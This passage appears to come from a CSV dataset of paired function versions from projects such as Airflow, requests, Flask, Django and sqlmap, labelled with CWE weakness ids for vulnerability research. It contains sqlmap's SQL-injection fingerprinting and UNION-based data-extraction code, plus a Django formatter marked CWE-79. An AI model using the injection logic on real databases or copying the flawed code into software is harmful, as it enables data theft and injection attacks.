            ondelete=ondelete,
        )",CWE-89,apache/airflow,1bd538be8c5b134643a6c5eddd06f70e6f0db2e7,"def upgrade():
    """"""Apply Change ``TaskInstance`` and ``TaskReschedule`` tables from execution_date to run_id.""""""
    conn = op.get_bind()
    dialect_name = conn.dialect.name

    dt_type = TIMESTAMP
    string_id_col_type = StringID()

    if dialect_name == ""sqlite"":
        naming_convention = {
            ""uq"": ""%(table_name)s_%(column_0_N_name)s_key"",
        }
        # The naming_convention force the previously un-named UNIQUE constraints to have the right name
        with op.batch_alter_table(
            ""dag_run"", naming_convention=naming_convention, recreate=""always""
        ) as batch_op:
            batch_op.alter_column(""dag_id"", existing_type=string_id_col_type, nullable=False)
            batch_op.alter_column(""run_id"", existing_type=string_id_col_type, nullable=False)
            batch_op.alter_column(""execution_date"", existing_type=dt_type, nullable=False)
    elif dialect_name == ""mysql"":
        with op.batch_alter_table(""dag_run"") as batch_op:
            batch_op.alter_column(
                ""dag_id"", existing_type=sa.String(length=ID_LEN), type_=string_id_col_type, nullable=False
            )
            batch_op.alter_column(
                ""run_id"", existing_type=sa.String(length=ID_LEN), type_=string_id_col_type, nullable=False
            )
            batch_op.alter_column(""execution_date"", existing_type=dt_type, nullable=False)
            inspector = sa.inspect(conn.engine)
            unique_keys = inspector.get_unique_constraints(""dag_run"")
            for unique_key in unique_keys:
                batch_op.drop_constraint(unique_key[""name""], type_=""unique"")
            batch_op.create_unique_constraint(
                ""dag_run_dag_id_execution_date_key"", [""dag_id"", ""execution_date""]
            )
            batch_op.create_unique_constraint(""dag_run_dag_id_run_id_key"", [""dag_id"", ""run_id""])
    elif dialect_name == ""mssql"":

        with op.batch_alter_table(""dag_run"") as batch_op:
            batch_op.drop_index(""idx_not_null_dag_id_execution_date"")
            batch_op.drop_index(""idx_not_null_dag_id_run_id"")

            batch_op.drop_index(""dag_id_state"")
            batch_op.drop_index(""idx_dag_run_dag_id"")
            batch_op.drop_index(""idx_dag_run_running_dags"")
            batch_op.drop_index(""idx_dag_run_queued_dags"")

            batch_op.alter_column(""dag_id"", existing_type=string_id_col_type, nullable=False)
            batch_op.alter_column(""execution_date"", existing_type=dt_type, nullable=False)
            batch_op.alter_column(""run_id"", existing_type=string_id_col_type, nullable=False)

            # _Somehow_ mssql was missing these constraints entirely
            batch_op.create_unique_constraint(
                ""dag_run_dag_id_execution_date_key"", [""dag_id"", ""execution_date""]
            )
            batch_op.create_unique_constraint(""dag_run_dag_id_run_id_key"", [""dag_id"", ""run_id""])

            batch_op.create_index(""dag_id_state"", [""dag_id"", ""state""], unique=False)
            batch_op.create_index(""idx_dag_run_dag_id"", [""dag_id""])
            batch_op.create_index(
                ""idx_dag_run_running_dags"",
                [""state"", ""dag_id""],
                mssql_where=sa.text(""state='running'""),
            )
            batch_op.create_index(
                ""idx_dag_run_queued_dags"",
                [""state"", ""dag_id""],
                mssql_where=sa.text(""state='queued'""),
            )
    else:
        # Make sure DagRun PK columns are non-nullable
        with op.batch_alter_table(""dag_run"", schema=None) as batch_op:
            batch_op.alter_column(""dag_id"", existing_type=string_id_col_type, nullable=False)
            batch_op.alter_column(""execution_date"", existing_type=dt_type, nullable=False)
            batch_op.alter_column(""run_id"", existing_type=string_id_col_type, nullable=False)

    # First create column nullable
    op.add_column(""task_instance"", sa.Column(""run_id"", type_=string_id_col_type, nullable=True))
    op.add_column(""task_reschedule"", sa.Column(""run_id"", type_=string_id_col_type, nullable=True))

    #
    # TaskReschedule has a FK to TaskInstance, so we have to update that before
    # we can drop the TI.execution_date column

    update_query = _multi_table_update(dialect_name, task_reschedule, task_reschedule.c.run_id)
    op.execute(update_query)

    with op.batch_alter_table(""task_reschedule"", schema=None) as batch_op:
        batch_op.alter_column(
            ""run_id"", existing_type=string_id_col_type, existing_nullable=True, nullable=False
        )

        batch_op.drop_constraint(""task_reschedule_dag_task_date_fkey"", ""foreignkey"")
        if dialect_name == ""mysql"":
            # Mysql creates an index and a constraint -- we have to drop both
            batch_op.drop_index(""task_reschedule_dag_task_date_fkey"")
            batch_op.alter_column(
                ""dag_id"", existing_type=sa.String(length=ID_LEN), type_=string_id_col_type, nullable=False
            )
        batch_op.drop_index(""idx_task_reschedule_dag_task_date"")

    # Then update the new column by selecting the right value from DagRun
    # But first we will drop and recreate indexes to make it faster
    if dialect_name == ""postgresql"":
        # Recreate task_instance, without execution_date and with dagrun.run_id
        op.execute(
            """"""
            CREATE TABLE new_task_instance AS SELECT
                ti.task_id,
                ti.dag_id,
                dag_run.run_id,
                ti.start_date,
                ti.end_date,
                ti.duration,
                ti.state,
                ti.try_number,
                ti.hostname,
                ti.unixname,
                ti.job_id,
                ti.pool,
                ti.queue,
                ti.priority_weight,
                ti.operator,
                ti.queued_dttm,
                ti.pid,
                ti.max_tries,
                ti.executor_config,
                ti.pool_slots,
                ti.queued_by_job_id,
                ti.external_executor_id,
                ti.trigger_id,
                ti.trigger_timeout,
                ti.next_method,
                ti.next_kwargs
            FROM task_instance ti
            INNER JOIN dag_run ON dag_run.dag_id = ti.dag_id AND dag_run.execution_date = ti.execution_date;
        """"""
        )
        op.drop_table(""task_instance"")
        op.rename_table(""new_task_instance"", ""task_instance"")

        # Fix up columns after the 'create table as select'
        with op.batch_alter_table(""task_instance"", schema=None) as batch_op:
            batch_op.alter_column(
                ""pool"", existing_type=string_id_col_type, existing_nullable=True, nullable=False
            )
            batch_op.alter_column(""max_tries"", existing_type=sa.Integer(), server_default=""-1"")
            batch_op.alter_column(
                ""pool_slots"", existing_type=sa.Integer(), existing_nullable=True, nullable=False
            )
    else:
        update_query = _multi_table_update(dialect_name, task_instance, task_instance.c.run_id)
        op.execute(update_query)

    with op.batch_alter_table(""task_instance"", schema=None) as batch_op:
        if dialect_name != ""postgresql"":
            # TODO: Is this right for non-postgres?
            if dialect_name == ""mssql"":
                constraints = get_mssql_table_constraints(conn, ""task_instance"")
                pk, _ = constraints[""PRIMARY KEY""].popitem()
                batch_op.drop_constraint(pk, type_=""primary"")
            elif dialect_name not in (""sqlite""):
                batch_op.drop_constraint(""task_instance_pkey"", type_=""primary"")
            batch_op.drop_index(""ti_dag_date"")
            batch_op.drop_index(""ti_state_lkp"")
            batch_op.drop_column(""execution_date"")

        # Then make it non-nullable
        batch_op.alter_column(
            ""run_id"", existing_type=string_id_col_type, existing_nullable=True, nullable=False
        )
        batch_op.alter_column(
            ""dag_id"", existing_type=string_id_col_type, existing_nullable=True, nullable=False
        )

        batch_op.create_primary_key(""task_instance_pkey"", [""dag_id"", ""task_id"", ""run_id""])
        batch_op.create_foreign_key(
            ""task_instance_dag_run_fkey"",
            ""dag_run"",
            [""dag_id"", ""run_id""],
            [""dag_id"", ""run_id""],
            ondelete=""CASCADE"",
        )

        batch_op.create_index(""ti_dag_run"", [""dag_id"", ""run_id""])
        batch_op.create_index(""ti_state_lkp"", [""dag_id"", ""task_id"", ""run_id"", ""state""])
        if dialect_name == ""postgresql"":
            batch_op.create_index(""ti_dag_state"", [""dag_id"", ""state""])
            batch_op.create_index(""ti_job_id"", [""job_id""])
            batch_op.create_index(""ti_pool"", [""pool"", ""state"", ""priority_weight""])
            batch_op.create_index(""ti_state"", [""state""])
            batch_op.create_foreign_key(
                ""task_instance_trigger_id_fkey"", ""trigger"", [""trigger_id""], [""id""], ondelete=""CASCADE""
            )
            batch_op.create_index(""ti_trigger_id"", [""trigger_id""])

    with op.batch_alter_table(""task_reschedule"", schema=None) as batch_op:
        batch_op.drop_column(""execution_date"")
        batch_op.create_index(
            ""idx_task_reschedule_dag_task_run"",
            [""dag_id"", ""task_id"", ""run_id""],
            unique=False,
        )
        # _Now_ there is a unique constraint on the columns in TI we can re-create the FK from TaskReschedule
        batch_op.create_foreign_key(
            ""task_reschedule_ti_fkey"",
            ""task_instance"",
            [""dag_id"", ""task_id"", ""run_id""],
            [""dag_id"", ""task_id"", ""run_id""],
            ondelete=""CASCADE"",
        )

        # https://docs.microsoft.com/en-us/sql/relational-databases/errors-events/mssqlserver-1785-database-engine-error?view=sql-server-ver15
        ondelete = ""CASCADE"" if dialect_name != ""mssql"" else ""NO ACTION""
        batch_op.create_foreign_key(
            ""task_reschedule_dr_fkey"",
            ""dag_run"",
            [""dag_id"", ""run_id""],
            [""dag_id"", ""run_id""],
            ondelete=ondelete,
        )"
functions_for_requests_with_cwe.csv,UNKNOWN,UNKNOWN,requests/models.py,0,"def prepare_url(self, url, params):
        """"""Prepares the given HTTP URL.""""""
        #: Accept objects that have string representations.
        #: We're unable to blindly call unicode/str functions
        #: as this will include the bytestring indicator (b'')
        #: on python 3.x.
        #: https://github.com/psf/requests/pull/2238
        if isinstance(url, bytes):
            url = url.decode('utf8')
        else:
            url = unicode(url) if is_py2 else str(url)

        # Remove leading whitespaces from url
        url = url.lstrip()

        # Don't do any URL preparation for non-HTTP schemes like `mailto`,
        # `data` etc to work around exceptions from `url_parse`, which
        # handles RFC 3986 only.
        if ':' in url and not url.lower().startswith('http'):
            self.url = url
            return

        # Support for unicode domain names and paths.
        try:
            scheme, auth, host, port, path, query, fragment = parse_url(url)
        except LocationParseError as e:
            raise InvalidURL(*e.args)

        if not scheme:
            error = (""Invalid URL {0!r}: No scheme supplied. Perhaps you meant http://{0}?"")
            error = error.format(to_native_string(url, 'utf8'))

            raise MissingSchema(error)

        if not host:
            raise InvalidURL(""Invalid URL %r: No host supplied"" % url)

        # In general, we want to try IDNA encoding the hostname if the string contains
        # non-ASCII characters. This allows users to automatically get the correct IDNA
        # behaviour. For strings containing only ASCII characters, we need to also verify
        # it doesn't start with a wildcard (*), before allowing the unencoded hostname.
        if not unicode_is_ascii(host):
            try:
                host = self._get_idna_encoded_host(host)
            except UnicodeError:
                raise InvalidURL('URL has an invalid label.')
        elif host.startswith(u'*'):
            raise InvalidURL('URL has an invalid label.')

        # Carefully reconstruct the network location
        netloc = auth or ''
        if netloc:
            netloc += '@'
        netloc += host
        if port:
            netloc += ':' + str(port)

        # Bare domains aren't valid URLs.
        if not path:
            path = '/'

        if is_py2:
            if isinstance(scheme, str):
                scheme = scheme.encode('utf-8')
            if isinstance(netloc, str):
                netloc = netloc.encode('utf-8')
            if isinstance(path, str):
                path = path.encode('utf-8')
            if isinstance(query, str):
                query = query.encode('utf-8')
            if isinstance(fragment, str):
                fragment = fragment.encode('utf-8')

        if isinstance(params, (str, bytes)):
            params = to_native_string(params)

        enc_params = self._encode_params(params)
        if enc_params:
            if query:
                query = '%s&%s' % (query, enc_params)
            else:
                query = enc_params

        url = requote_uri(urlunparse([scheme, netloc, path, None, query, fragment]))
        self.url = url",,psf/requests,2b06a952a9e6e23e9eda2c8759adb62739730a75,"def prepare_url(self, url, params):
        """"""Prepares the given HTTP URL.""""""
        #: Accept objects that have string representations.
        #: We're unable to blindly call unicode/str functions
        #: as this will include the bytestring indicator (b'')
        #: on python 3.x.
        #: https://github.com/psf/requests/pull/2238
        if isinstance(url, bytes):
            url = url.decode('utf8')
        else:
            url = unicode(url) if is_py2 else str(url)

        # Remove leading whitespaces from url
        url = url.lstrip()

        # Don't do any URL preparation for non-HTTP schemes like `mailto`,
        # `data` etc to work around exceptions from `url_parse`, which
        # handles RFC 3986 only.
        if ':' in url and not url.lower().startswith('http'):
            self.url = url
            return

        # Support for unicode domain names and paths.
        try:
            scheme, auth, host, port, path, query, fragment = parse_url(url)
        except LocationParseError as e:
            raise InvalidURL(*e.args)

        if not scheme:
            error = (""Invalid URL {0!r}: No schema supplied. Perhaps you meant http://{0}?"")
            error = error.format(to_native_string(url, 'utf8'))

            raise MissingSchema(error)

        if not host:
            raise InvalidURL(""Invalid URL %r: No host supplied"" % url)

        # In general, we want to try IDNA encoding the hostname if the string contains
        # non-ASCII characters. This allows users to automatically get the correct IDNA
        # behaviour. For strings containing only ASCII characters, we need to also verify
        # it doesn't start with a wildcard (*), before allowing the unencoded hostname.
        if not unicode_is_ascii(host):
            try:
                host = self._get_idna_encoded_host(host)
            except UnicodeError:
                raise InvalidURL('URL has an invalid label.')
        elif host.startswith(u'*'):
            raise InvalidURL('URL has an invalid label.')

        # Carefully reconstruct the network location
        netloc = auth or ''
        if netloc:
            netloc += '@'
        netloc += host
        if port:
            netloc += ':' + str(port)

        # Bare domains aren't valid URLs.
        if not path:
            path = '/'

        if is_py2:
            if isinstance(scheme, str):
                scheme = scheme.encode('utf-8')
            if isinstance(netloc, str):
                netloc = netloc.encode('utf-8')
            if isinstance(path, str):
                path = path.encode('utf-8')
            if isinstance(query, str):
                query = query.encode('utf-8')
            if isinstance(fragment, str):
                fragment = fragment.encode('utf-8')

        if isinstance(params, (str, bytes)):
            params = to_native_string(params)

        enc_params = self._encode_params(params)
        if enc_params:
            if query:
                query = '%s&%s' % (query, enc_params)
            else:
                query = enc_params

        url = requote_uri(urlunparse([scheme, netloc, path, None, query, fragment]))
        self.url = url"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,flask/testsuite/helpers.py,0,"def test_debug_log(self):
        app = flask.Flask(__name__)
        app.debug = True

        @app.route('/')
        def index():
            app.logger.warning('the standard library is dead')
            app.logger.debug('this is a debug statement')
            return ''

        @app.route('/exc')
        def exc():
            1/0

        with app.test_client() as c:
            with catch_stderr() as err:
                c.get('/')
                out = err.getvalue()
                self.assert_('WARNING in helpers [' in out)
                self.assert_(os.path.basename(__file__.rsplit('.', 1)[0] + '.py') in out)
                self.assert_('the standard library is dead' in out)
                self.assert_('this is a debug statement' in out)

            with catch_stderr() as err:
                try:
                    c.get('/exc')
                except ZeroDivisionError:
                    pass
                else:
                    self.assert_(False, 'debug log ate the exception')",,pallets/flask,fbd6776e68a12aa7bf7d646ca03d568cedc616f3,"def test_debug_log(self):
        app = flask.Flask(__name__)
        app.debug = True

        @app.route('/')
        def index():
            app.logger.warning('the standard library is dead')
            app.logger.debug('this is a debug statement')
            return ''

        @app.route('/exc')
        def exc():
            1/0

        with app.test_client() as c:
            with catch_stderr() as err:
                c.get('/')
                out = err.getvalue()
                self.assert_('WARNING in helpers [' in out)
                self.assert_(os.path.basename(__file__.rsplit('.')[0] + '.py') in out)
                self.assert_('the standard library is dead' in out)
                self.assert_('this is a debug statement' in out)

            with catch_stderr() as err:
                try:
                    c.get('/exc')
                except ZeroDivisionError:
                    pass
                else:
                    self.assert_(False, 'debug log ate the exception')"
,UNKNOWN,UNKNOWN,django/utils/numberformat.py,1,"def format(number, decimal_sep, decimal_pos=None, grouping=0, thousand_sep='',
           force_grouping=False, use_l10n=None):
    """"""
    Get a number (as a number or string), and return it as a string,
    using formats defined as arguments:

    * decimal_sep: Decimal separator symbol (for example ""."")
    * decimal_pos: Number of decimal positions
    * grouping: Number of digits in every group limited by thousand separator.
        For non-uniform digit grouping, it can be a sequence with the number
        of digit group sizes following the format used by the Python locale
        module in locale.localeconv() LC_NUMERIC grouping (e.g. (3, 2, 0)).
    * thousand_sep: Thousand separator symbol (for example "","")
    """"""
    use_grouping = (use_l10n or (use_l10n is None and settings.USE_L10N)) and settings.USE_THOUSAND_SEPARATOR
    use_grouping = use_grouping or force_grouping
    use_grouping = use_grouping and grouping != 0
    # Make the common case fast
    if isinstance(number, int) and not use_grouping and not decimal_pos:
        return mark_safe(number)
    # sign
    sign = ''
    # Treat potentially very large/small floats as Decimals.
    if isinstance(number, float) and 'e' in str(number).lower():
        number = Decimal(str(number))
    if isinstance(number, Decimal):

        if decimal_pos is not None:
            # If the provided number is too small to affect any of the visible
            # decimal places, consider it equal to '0'.
            cutoff = Decimal('0.' + '1'.rjust(decimal_pos, '0'))
            if abs(number) < cutoff:
                number = Decimal('0')

        # Format values with more than 200 digits (an arbitrary cutoff) using
        # scientific notation to avoid high memory usage in {:f}'.format().
        _, digits, exponent = number.as_tuple()
        if abs(exponent) + len(digits) > 200:
            number = '{:e}'.format(number)
            coefficient, exponent = number.split('e')
            # Format the coefficient.
            coefficient = format(
                coefficient, decimal_sep, decimal_pos, grouping,
                thousand_sep, force_grouping, use_l10n,
            )
            return '{}e{}'.format(coefficient, exponent)
        else:
            str_number = '{:f}'.format(number)
    else:
        str_number = str(number)
    if str_number[0] == '-':
        sign = '-'
        str_number = str_number[1:]
    # decimal part
    if '.' in str_number:
        int_part, dec_part = str_number.split('.')
        if decimal_pos is not None:
            dec_part = dec_part[:decimal_pos]
    else:
        int_part, dec_part = str_number, ''
    if decimal_pos is not None:
        dec_part = dec_part + ('0' * (decimal_pos - len(dec_part)))
    dec_part = dec_part and decimal_sep + dec_part
    # grouping
    if use_grouping:
        try:
            # if grouping is a sequence
            intervals = list(grouping)
        except TypeError:
            # grouping is a single value
            intervals = [grouping, 0]
        active_interval = intervals.pop(0)
        int_part_gd = ''
        cnt = 0
        for digit in int_part[::-1]:
            if cnt and cnt == active_interval:
                if intervals:
                    active_interval = intervals.pop(0) or active_interval
                int_part_gd += thousand_sep[::-1]
                cnt = 0
            int_part_gd += digit
            cnt += 1
        int_part = int_part_gd[::-1]
    return sign + int_part + dec_part",CWE-79,django/django,bc1c03407649a37a8a3c26b8d0cb355ab2fc128e,"def format(number, decimal_sep, decimal_pos=None, grouping=0, thousand_sep='',
           force_grouping=False, use_l10n=None):
    """"""
    Get a number (as a number or string), and return it as a string,
    using formats defined as arguments:

    * decimal_sep: Decimal separator symbol (for example ""."")
    * decimal_pos: Number of decimal positions
    * grouping: Number of digits in every group limited by thousand separator.
        For non-uniform digit grouping, it can be a sequence with the number
        of digit group sizes following the format used by the Python locale
        module in locale.localeconv() LC_NUMERIC grouping (e.g. (3, 2, 0)).
    * thousand_sep: Thousand separator symbol (for example "","")
    """"""
    use_grouping = (use_l10n or (use_l10n is None and settings.USE_L10N)) and settings.USE_THOUSAND_SEPARATOR
    use_grouping = use_grouping or force_grouping
    use_grouping = use_grouping and grouping != 0
    # Make the common case fast
    if isinstance(number, int) and not use_grouping and not decimal_pos:
        return mark_safe(number)
    # sign
    sign = ''
    if isinstance(number, Decimal):

        if decimal_pos is not None:
            # If the provided number is too small to affect any of the visible
            # decimal places, consider it equal to '0'.
            cutoff = Decimal('0.' + '1'.rjust(decimal_pos, '0'))
            if abs(number) < cutoff:
                number = Decimal('0')

        # Format values with more than 200 digits (an arbitrary cutoff) using
        # scientific notation to avoid high memory usage in {:f}'.format().
        _, digits, exponent = number.as_tuple()
        if abs(exponent) + len(digits) > 200:
            number = '{:e}'.format(number)
            coefficient, exponent = number.split('e')
            # Format the coefficient.
            coefficient = format(
                coefficient, decimal_sep, decimal_pos, grouping,
                thousand_sep, force_grouping, use_l10n,
            )
            return '{}e{}'.format(coefficient, exponent)
        else:
            str_number = '{:f}'.format(number)
    else:
        str_number = str(number)
    if str_number[0] == '-':
        sign = '-'
        str_number = str_number[1:]
    # decimal part
    if '.' in str_number:
        int_part, dec_part = str_number.split('.')
        if decimal_pos is not None:
            dec_part = dec_part[:decimal_pos]
    else:
        int_part, dec_part = str_number, ''
    if decimal_pos is not None:
        dec_part = dec_part + ('0' * (decimal_pos - len(dec_part)))
    dec_part = dec_part and decimal_sep + dec_part
    # grouping
    if use_grouping:
        try:
            # if grouping is a sequence
            intervals = list(grouping)
        except TypeError:
            # grouping is a single value
            intervals = [grouping, 0]
        active_interval = intervals.pop(0)
        int_part_gd = ''
        cnt = 0
        for digit in int_part[::-1]:
            if cnt and cnt == active_interval:
                if intervals:
                    active_interval = intervals.pop(0) or active_interval
                int_part_gd += thousand_sep[::-1]
                cnt = 0
            int_part_gd += digit
            cnt += 1
        int_part = int_part_gd[::-1]
    return sign + int_part + dec_part"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/dbms/oracle/fingerprint.py,0,"def checkDbms(self):
        if not conf.extensiveFp and Backend.isDbmsWithin(ORACLE_ALIASES):
            setDbms(DBMS.ORACLE)

            self.getBanner()

            return True

        infoMsg = ""testing %s"" % DBMS.ORACLE
        logger.info(infoMsg)

        # NOTE: SELECT LENGTH(SYSDATE)=LENGTH(SYSDATE) FROM DUAL does
        # not work connecting directly to the Oracle database
        if conf.direct:
            result = True
        else:
            result = inject.checkBooleanExpression(""LENGTH(SYSDATE)=LENGTH(SYSDATE)"")

        if result:
            infoMsg = ""confirming %s"" % DBMS.ORACLE
            logger.info(infoMsg)

            # NOTE: SELECT NVL(RAWTOHEX([RANDNUM1]),[RANDNUM1])=RAWTOHEX([RANDNUM1]) FROM DUAL does
            # not work connecting directly to the Oracle database
            if conf.direct:
                result = True
            else:
                result = inject.checkBooleanExpression(""NVL(RAWTOHEX([RANDNUM1]),[RANDNUM1])=RAWTOHEX([RANDNUM1])"")

            if not result:
                warnMsg = ""the back-end DBMS is not %s"" % DBMS.ORACLE
                logger.warning(warnMsg)

                return False

            setDbms(DBMS.ORACLE)

            self.getBanner()

            if not conf.extensiveFp:
                return True

            infoMsg = ""actively fingerprinting %s"" % DBMS.ORACLE
            logger.info(infoMsg)

            # Reference: https://en.wikipedia.org/wiki/Oracle_Database
            for version in (""21c"", ""19c"", ""18c"", ""12c"", ""11g"", ""10g"", ""9i"", ""8i"", ""7""):
                number = int(re.search(r""([\d]+)"", version).group(1))
                output = inject.checkBooleanExpression(""%d=(SELECT SUBSTR((VERSION),1,%d) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1)"" % (number, 1 if number < 10 else 2))

                if output:
                    Backend.setVersion(version)
                    break

            return True
        else:
            warnMsg = ""the back-end DBMS is not %s"" % DBMS.ORACLE
            logger.warning(warnMsg)

            return False",,sqlmapproject/sqlmap,df4293473d2fb6e887e31522cab5aff95e201581,"def checkDbms(self):
        if not conf.extensiveFp and Backend.isDbmsWithin(ORACLE_ALIASES):
            setDbms(DBMS.ORACLE)

            self.getBanner()

            return True

        infoMsg = ""testing %s"" % DBMS.ORACLE
        logger.info(infoMsg)

        # NOTE: SELECT LENGTH(SYSDATE)=LENGTH(SYSDATE) FROM DUAL does
        # not work connecting directly to the Oracle database
        if conf.direct:
            result = True
        else:
            result = inject.checkBooleanExpression(""LENGTH(SYSDATE)=LENGTH(SYSDATE)"")

        if result:
            infoMsg = ""confirming %s"" % DBMS.ORACLE
            logger.info(infoMsg)

            # NOTE: SELECT NVL(RAWTOHEX([RANDNUM1]),[RANDNUM1])=RAWTOHEX([RANDNUM1]) FROM DUAL does
            # not work connecting directly to the Oracle database
            if conf.direct:
                result = True
            else:
                result = inject.checkBooleanExpression(""NVL(RAWTOHEX([RANDNUM1]),[RANDNUM1])=RAWTOHEX([RANDNUM1])"")

            if not result:
                warnMsg = ""the back-end DBMS is not %s"" % DBMS.ORACLE
                logger.warn(warnMsg)

                return False

            setDbms(DBMS.ORACLE)

            self.getBanner()

            if not conf.extensiveFp:
                return True

            infoMsg = ""actively fingerprinting %s"" % DBMS.ORACLE
            logger.info(infoMsg)

            # Reference: https://en.wikipedia.org/wiki/Oracle_Database
            for version in (""21c"", ""19c"", ""18c"", ""12c"", ""11g"", ""10g"", ""9i"", ""8i"", ""7""):
                number = int(re.search(r""([\d]+)"", version).group(1))
                output = inject.checkBooleanExpression(""%d=(SELECT SUBSTR((VERSION),1,%d) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1)"" % (number, 1 if number < 10 else 2))

                if output:
                    Backend.setVersion(version)
                    break

            return True
        else:
            warnMsg = ""the back-end DBMS is not %s"" % DBMS.ORACLE
            logger.warn(warnMsg)

            return False"
,UNKNOWN,UNKNOWN,lib/techniques/union/use.py,1,"def _oneShotUnionUse(expression, unpack=True, limited=False):
    retVal = hashDBRetrieve(""%s%s"" % (conf.hexConvert or False, expression), checkConf=True)  # as UNION data is stored raw unconverted

    threadData = getCurrentThreadData()
    threadData.resumed = retVal is not None

    if retVal is None:
        vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector

        if not kb.rowXmlMode:
            injExpression = unescaper.escape(agent.concatQuery(expression, unpack))
            kb.unionDuplicates = vector[7]
            kb.forcePartialUnion = vector[8]
            query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited)
            where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6]
        else:
            where = vector[6]
            query = agent.forgeUnionQuery(expression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, False)

        payload = agent.payload(newValue=query, where=where)

        # Perform the request
        page, headers, _ = Request.queryPage(payload, content=True, raise404=False)

        incrementCounter(PAYLOAD.TECHNIQUE.UNION)

        if not kb.rowXmlMode:
            # Parse the returned page to get the exact UNION-based
            # SQL injection output
            def _(regex):
                return reduce(lambda x, y: x if x is not None else y, (\
                        extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), \
                        extractRegexResult(regex, removeReflectiveValues(listToStrValue(headers.headers \
                        if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), \
                        None)

            # Automatically patching last char trimming cases
            if kb.chars.stop not in (page or """") and kb.chars.stop[:-1] in (page or """"):
                warnMsg = ""automatically patching output having last char trimmed""
                singleTimeWarnMessage(warnMsg)
                page = page.replace(kb.chars.stop[:-1], kb.chars.stop)

            retVal = _(""(?P<result>%s.*%s)"" % (kb.chars.start, kb.chars.stop))
        else:
            output = extractRegexResult(r""(?P<result>(<row.+?/>)+)"", page)
            if output:
                try:
                    root = xml.etree.ElementTree.fromstring(""<root>%s</root>"" % output.encode(UNICODE_ENCODING))
                    retVal = """"
                    for column in kb.dumpColumns:
                        base64 = True
                        for child in root:
                            value = child.attrib.get(column, """").strip()
                            if value and not re.match(r""\A[a-zA-Z0-9+/]+={0,2}\Z"", value):
                                base64 = False
                                break

                            try:
                                value.decode(""base64"")
                            except binascii.Error:
                                base64 = False
                                break

                        if base64:
                            for child in root:
                                child.attrib[column] = child.attrib.get(column, """").decode(""base64"") or NULL

                    for child in root:
                        row = []
                        for column in kb.dumpColumns:
                            row.append(child.attrib.get(column, NULL))
                        retVal += ""%s%s%s"" % (kb.chars.start, kb.chars.delimiter.join(row), kb.chars.stop)

                except:
                    pass
                else:
                    retVal = getUnicode(retVal)

        if retVal is not None:
            retVal = getUnicode(retVal, kb.pageEncoding)

            # Special case when DBMS is Microsoft SQL Server and error message is used as a result of UNION injection
            if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError():
                retVal = htmlunescape(retVal).replace(""<br>"", ""\n"")

            hashDBWrite(""%s%s"" % (conf.hexConvert or False, expression), retVal)

        elif not kb.rowXmlMode:
            trimmed = _(""%s(?P<result>.*?)<"" % (kb.chars.start))

            if trimmed:
                warnMsg = ""possible server trimmed output detected ""
                warnMsg += ""(probably due to its length and/or content): ""
                warnMsg += safecharencode(trimmed)
                logger.warn(warnMsg)
    else:
        vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
        kb.unionDuplicates = vector[7]

    return retVal",CWE-703,sqlmapproject/sqlmap,996ad59126555e2daa5c5522f7da38c16da05264,"def _oneShotUnionUse(expression, unpack=True, limited=False):
    retVal = hashDBRetrieve(""%s%s"" % (conf.hexConvert or False, expression), checkConf=True)  # as UNION data is stored raw unconverted

    threadData = getCurrentThreadData()
    threadData.resumed = retVal is not None

    if retVal is None:
        vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector

        if not kb.rowXmlMode:
            injExpression = unescaper.escape(agent.concatQuery(expression, unpack))
            kb.unionDuplicates = vector[7]
            kb.forcePartialUnion = vector[8]
            query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited)
            where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6]
        else:
            where = vector[6]
            query = agent.forgeUnionQuery(expression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, False)

        payload = agent.payload(newValue=query, where=where)

        # Perform the request
        page, headers = Request.queryPage(payload, content=True, raise404=False)

        incrementCounter(PAYLOAD.TECHNIQUE.UNION)

        if not kb.rowXmlMode:
            # Parse the returned page to get the exact UNION-based
            # SQL injection output
            def _(regex):
                return reduce(lambda x, y: x if x is not None else y, (\
                        extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), \
                        extractRegexResult(regex, removeReflectiveValues(listToStrValue(headers.headers \
                        if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), \
                        None)

            # Automatically patching last char trimming cases
            if kb.chars.stop not in (page or """") and kb.chars.stop[:-1] in (page or """"):
                warnMsg = ""automatically patching output having last char trimmed""
                singleTimeWarnMessage(warnMsg)
                page = page.replace(kb.chars.stop[:-1], kb.chars.stop)

            retVal = _(""(?P<result>%s.*%s)"" % (kb.chars.start, kb.chars.stop))
        else:
            output = extractRegexResult(r""(?P<result>(<row.+?/>)+)"", page)
            if output:
                try:
                    root = xml.etree.ElementTree.fromstring(""<root>%s</root>"" % output.encode(UNICODE_ENCODING))
                    retVal = """"
                    for column in kb.dumpColumns:
                        base64 = True
                        for child in root:
                            value = child.attrib.get(column, """").strip()
                            if value and not re.match(r""\A[a-zA-Z0-9+/]+={0,2}\Z"", value):
                                base64 = False
                                break

                            try:
                                value.decode(""base64"")
                            except binascii.Error:
                                base64 = False
                                break

                        if base64:
                            for child in root:
                                child.attrib[column] = child.attrib.get(column, """").decode(""base64"") or NULL

                    for child in root:
                        row = []
                        for column in kb.dumpColumns:
                            row.append(child.attrib.get(column, NULL))
                        retVal += ""%s%s%s"" % (kb.chars.start, kb.chars.delimiter.join(row), kb.chars.stop)

                except:
                    pass
                else:
                    retVal = getUnicode(retVal)

        if retVal is not None:
            retVal = getUnicode(retVal, kb.pageEncoding)

            # Special case when DBMS is Microsoft SQL Server and error message is used as a result of UNION injection
            if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError():
